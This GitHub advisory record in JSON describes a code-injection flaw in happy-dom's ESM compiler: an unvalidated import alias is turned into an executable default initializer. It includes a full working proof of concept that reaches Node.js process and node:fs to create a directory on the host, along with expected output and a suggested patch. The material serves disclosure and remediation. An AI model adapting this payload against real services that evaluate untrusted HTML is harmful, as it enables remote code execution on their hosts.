{"id":"GHSA-834v-8h66-3h79","summary":"Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution","details":"## Summary\n\nThe ESM compiler in `happy-dom@20.14.5` does not validate imported local binding aliases before interpolating them into generated JavaScript.\n\nAs a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.\n\nThis appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates `importName` in the local `export { ... }` handler, but the named import handler still places an unvalidated `alias` directly into code context.\n\nThese issues were confirmed through the public `Window` and `\u003cscript type=\"module\"\u003e` APIs using the published `happy-dom` npm package. The PoC reaches the Node.js host `process`, obtains `node:fs`, and creates a proof directory on the host filesystem.\n\n## Confirmed affected versions\n\nThe PoC was directly tested against:\n\n- `happy-dom@17.0.0`\n- `happy-dom@20.0.0`\n- `happy-dom@20.1.0`\n- `happy-dom@20.14.5`\n\nThe same PoC does not trigger on `happy-dom@16.8.1`.\n\nThe ESM compiler was introduced by commit `7bc831df2`, first released in `v17.0.0`. The vulnerable interpolation remains present through `v20.14.5`, the latest release at the time of testing.\n\nSuggested affected range:\n\n```text\n\u003e= 17.0.0, \u003c= 20.14.5\n```\n\nNo patched version is currently available.\n\n## Preconditions\n\n- JavaScript evaluation is enabled with `enableJavaScriptEvaluation: true`.\n- Attacker-controlled HTML or module source is processed by Happy DOM.\n- This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML.\n\n## Technical details\n\nIn `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, the named import handler splits an import specifier and extracts its alias:\n\n```ts\nconst nameParts = part.trim().split(/\\s+as\\s+/);\nconst alias = (nameParts[1] || nameParts[0]).replace(/[\"']/g, '');\nconst name = nameParts[0].replace(/[\"']/g, '');\n\nif (alias && name) {\n  properties.push({ name, alias });\n}\n```\n\nUnlike the patched `export { ... }` handler, the value of `alias` is not validated as a JavaScript identifier.\n\nIt is subsequently inserted directly into generated binding syntax:\n\n```ts\nnewCodeStart += `let {${properties\n  .map((property) =\u003e\n    property.alias\n      ? `\"${property.name}\": ${property.alias}`\n      : property.name\n  )\n  .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;\n```\n\nConsider the following source:\n\n```js\nimport {\n  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337\n} from './dep.json' with { type: 'json' };\n```\n\nThis is invalid ECMAScript module syntax. Node.js rejects it at the `=` token.\n\nHappy DOM instead transforms it into the equivalent of:\n\n```js\nlet {\n  \"missing\": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337\n} = $happy_dom.imports.get('https://poc.local/dep.json');\n```\n\nThis generated JavaScript is valid. Because the imported JSON object does not contain a `missing` property, the default initializer executes.\n\nThe `with { type: 'json' }` attribute is relevant because the compiler only generates its circular import resolver for ESM imports:\n\n```ts\nif (!match[7] || match[7] === 'esm') {\n  resolvableCircularImports.push({ url, properties });\n}\n```\n\nUsing a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.\n\nBacktick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:\n\n```js\nglobalThis.constructor.constructor(`return process`)()\n  .getBuiltinModule(`node:fs`)\n  .mkdirSync(\n    globalThis.constructor.constructor(`return process`)().cwd() +\n      `/HAPPY_DOM_RCE_PROOF`\n  )\n```\n\n## Proof of concept\n\nThe following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named `HAPPY_DOM_RCE_PROOF`.\n\n### 1. Create `package.json`\n\n```json\n{\n  \"name\": \"happy-dom-import-alias-rce-poc\",\n  \"private\": true,\n  \"type\": \"module\",\n  \"dependencies\": {\n    \"happy-dom\": \"20.14.5\"\n  }\n}\n```\n\n### 2. Create `dep.json`\n\n```json\n{}\n```\n\n### 3. Create `payload.mjs`\n\nThis file is used as a control to demonstrate that a native ECMAScript parser rejects the source:\n\n```js\nimport {\n  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337\n} from './dep.json' with { type: 'json' };\n```\n\n### 4. Create `poc.mjs`\n\n```js\nimport { Window } from 'happy-dom';\nimport { existsSync, rmSync } from 'node:fs';\nimport { resolve } from 'node:path';\n\nconst proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');\nrmSync(proofDirectory, { recursive: true, force: true });\n\nconst window = new Window({\n  url: 'https://poc.local/',\n  settings: {\n    enableJavaScriptEvaluation: true,\n    suppressCodeGenerationFromStringsWarning: true,\n    fetch: {\n      virtualServers: [\n        {\n          url: 'https://poc.local/',\n          directory: process.cwd()\n        }\n      ]\n    }\n  }\n});\n\nconst script = window.document.createElement('script');\nscript.type = 'module';\n\nscript.textContent = `\n  import {\n    missing as injected = globalThis.constructor.constructor(\\`return process\\`)()\n      .getBuiltinModule(\\`node:fs\\`)\n      .mkdirSync(\n        globalThis.constructor.constructor(\\`return process\\`)().cwd() +\n        \\`/HAPPY_DOM_RCE_PROOF\\`\n      )\n  } from './dep.json' with { type: 'json' };\n`;\n\nwindow.document.body.appendChild(script);\nawait window.happyDOM.waitUntilComplete();\n\nif (!existsSync(proofDirectory)) {\n  console.error('[-] Exploit failed: proof directory was not created.');\n  console.error(\n    window.happyDOM.virtualConsolePrinter.readAsString()\n  );\n  process.exitCode = 1;\n} else {\n  console.log(`[+] Host filesystem reached: ${proofDirectory}`);\n}\n\nawait window.happyDOM.close();\n```\n\n### 5. Run the control test\n\n```console\nnpm install\nnode --check payload.mjs\n```\n\nExpected result:\n\n```text\nSyntaxError: Unexpected token '='\n```\n\nThis confirms that the source is not valid ESM.\n\n### 6. Run the Happy DOM PoC\n\n```console\nnode poc.mjs\n```\n\nExpected result:\n\n```text\n[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF\n```\n\nThe existence of `HAPPY_DOM_RCE_PROOF` confirms that the expression injected through the import alias executed and reached the host filesystem.\n\nThe PoC was also verified inside a `node:24-alpine` Docker container, where it created:\n\n```text\n/poc/HAPPY_DOM_RCE_PROOF\n```\n\n## Impact\n\nAn attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.\n\nThis may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.\n\nThe demonstrated payload reaches Node.js `process` and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.\n\n## Relationship to CVE-2026-33943\n\nCVE-2026-33943 covers expression injection through a local export declaration:\n\n```js\nexport { attacker_expression }\n```\n\nIts fix added identifier validation to the `importName` used by the `export { ... }` handler:\n\n```ts\nif (\n  exportName &&\n  importName &&\n  VALID_VARIABLE_NAME_REGEXP.test(importName)\n) {\n  // ...\n}\n```\n\nThis report uses a different parsing and code-generation path:\n\n```js\nimport { name as malicious_alias } from './module';\n```\n\nThe unvalidated value is the local import `alias`, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943.\n\nThe issue remains reproducible in versions released after the CVE-2026-33943 fix, including `20.14.5`.\n\n## Suggested fix\n\nValidate the imported local binding before placing it into code context. The existing `VALID_VARIABLE_NAME_REGEXP` can be reused:\n\n```diff\n- if (alias && name) {\n+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {\n```\n\nA regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated.\n\nThis change was tested locally. The focused `ECMAScriptModuleCompiler` test suite passes with 30 tests, and ESLint reports no errors.\n\nFor additional hardening, generated property keys should use `JSON.stringify()` instead of manual quote interpolation.\n\n## Verification record\n\n- Testing date: 2026-09-17\n- Duplicate check updated: 2026-09-20\n- Platform: Windows 11\n- Node.js: `24.14.1`\n- Latest tested package: `happy-dom@20.14.5`\n- Source tag: `v20.14.5`\n- Source commit: `0d4cdbe7442af49d16b49ddf1acf7cc9684ed318`\n- First confirmed affected version: `17.0.0`\n- Confirmed unaffected version: `16.8.1`\n- Docker environment: Node 24 Alpine\n- No matching public advisory, issue, pull request, commit, or release was found during the duplicate check.","aliases":["CVE-2026-115895"],"modified":"2026-10-23T22:15:03.526440756Z","published":"2026-10-23T22:06:13Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-94"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-10-23T22:06:13Z"},"references":[{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/pull/2537"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13"},{"type":"PACKAGE","url":"https://github.com/capricorn86/happy-dom"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/releases/tag/v21.0.4"}],"affected":[{"package":{"name":"happy-dom","ecosystem":"npm","purl":"pkg:npm/happy-dom"},"ranges":[{"type":"SEMVER","events":[{"introduced":"17.0.0"},{"fixed":"21.0.4"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 21.0.3","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-834v-8h66-3h79/GHSA-834v-8h66-3h79.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]}